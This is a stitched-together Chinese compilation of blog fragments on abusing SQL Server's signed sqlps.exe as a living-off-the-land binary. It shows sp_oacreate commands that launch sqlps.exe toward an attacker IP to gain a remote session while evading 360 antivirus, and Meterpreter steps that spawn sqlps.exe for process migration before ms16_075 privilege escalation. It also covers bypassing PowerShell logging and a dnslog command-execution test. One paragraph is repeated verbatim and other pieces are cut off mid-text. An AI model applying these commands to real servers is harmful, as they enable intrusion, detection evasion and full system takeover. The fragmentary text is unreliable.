0x00 前言 sql server 默认安装后,会发现有一个 sqlps.exe: 此文件本身自带微软签名: sqlps的功能,竟然是!启动 powershell??? 0x01 sqlps 上线 之前使用 powershell 上线,360 必拦截: 使用sqlps,360无反应且能正常上线: 0x02 sp_oacreate sql server 注入后提权的方法比较多 exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Users\Public\SQLPS.exe 192.168.80.138:80/a''))"' 成功上线,弊端是 sql server 默认为service权限,因此对很多目录包括sql server 默认目录都无法执行该程序,因此要提前上传sqlps
0x01 sqlps.exe简介 sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件,用于加载SQL Server cmdlet,Microsoft Visual SQL Server\110\Tools\Binn\sqlps.exe C:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe SQL Server\140\Tools\Binn\sqlps.exe C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\sqlps.exe ,如单独提取出来的sqlps.exe在执行时可能会出现缺少依赖项等问题,常见的有以下两种报错。 已测试的系统和sqlps.exe见下表,测试记录见下图。
这已经不是MSSQL服务器第一次成为此类攻击的目标,但微软安全情报团队透露,最近观察到的这次活动背后的攻击者正在使用合法的sqlps.exe工具作为LOLBin(离地攻击,living-off-the-land 攻击者还使用 sqlps.exe 创建新帐户,并将其添加到 sysadmin 角色中,使他们能够完全控制 SQL 服务器,获得执行其他操作的权限,包括部署像挖矿木马这样的有效负载。 由于sqlps是Microsoft SQL Server 附带的一个实用程序,它允许将 SQL Server cmdlet 作为 LOLBin 加载,使攻击者能够执行 PowerShell 命令,而不必担心防御系统检测到他们的恶意行为 sqlps还会让这些攻击不留下任何痕迹,因为使用 sqlps 是绕过脚本块日志记录的有效方法,这是一种 PowerShell 功能,否则会将 cmdlet 操作记录到 Windows 事件日志中。
看了下进程列表中只有一个x86的w3wp.exe,没有其他可用于迁移的x64进程,不过有看见MSSQL数据库相关进程,所以我们可以通过执行sqlps.exe得到一个可迁移的x64进程。 cd切换到sqlps.exe文件所在目录,ls -S查看sqlps.exe文件是否存在,然后再用execute执行sqlps.exe即可得到一个可迁移的x64进程,注意得加网站安全狗内置白名单文件执行 meterpreter > cd "C:\\Program Files (x86)\\Microsoft SQL Server\\100\\Tools\\Binn\\" meterpreter > ls -S "sqlps " meterpreter > execute -Hc -f "sqlps.exe" -a "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\csc.exe" meterpreter > ps -c migrate迁移至刚执行的sqlps.exe进程,接着我们再利用ms16_075_reflection、ms16_075_reflection_juicy模块都能直接获取到目标主机
看了下进程列表中只有一个x86的w3wp.exe,没有其他可用于迁移的x64进程,不过有看见MSSQL数据库相关进程,所以我们可以通过执行sqlps.exe得到一个可迁移的x64进程。 cd切换到sqlps.exe文件所在目录,ls -S查看sqlps.exe文件是否存在,然后再用execute执行sqlps.exe即可得到一个可迁移的x64进程,注意得加网站安全狗内置白名单文件执行 meterpreter > cd "C:\\Program Files (x86)\\Microsoft SQL Server\\100\\Tools\\Binn\\" meterpreter > ls -S "sqlps " meterpreter > execute -Hc -f "sqlps.exe" -a "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\csc.exe" meterpreter > ps -c migrate迁移至刚执行的sqlps.exe进程,接着我们再利用ms16_075_reflection、ms16_075_reflection_juicy模块都能直接获取到目标主机
run',null,'C:\Windows\System32\ping ******.dnslog.cn' 通过使用ping dnslog和将命令执行结果写入文件等方式发现命令都没有执行成功,也尝试了sqlps sqlps、msbuild执行后也有进程,但如果直接去执行指定的木马程序就没有进程,也就是说也没有执行成功。 0x04 注意事项 如果提权过程中需要迁移进程,但是没有可用的迁移进程,这时可以尝试用execute -Hc -f命令去执行vbc.exe和SQLPS.exe等程序得到一个可迁移进程。
1.4 连接到数据库 可以使用下列工具来访问和更改 SQL Server 实例(数据库)中的数据: SQL Server Management Studio sqlcmd 实用工具 bcp 实用工具 sqlps sqlps 实用工具是一个 Microsoft C# 命令提示实用工具,可用于: 以交互方式即席运行 PowerShell 命令。 运行 PowerShell 脚本文件。 可以使用 SQL Server Management Studio 和 sqlps 实用工具同时连接和管理 SQL Server 的多个实例。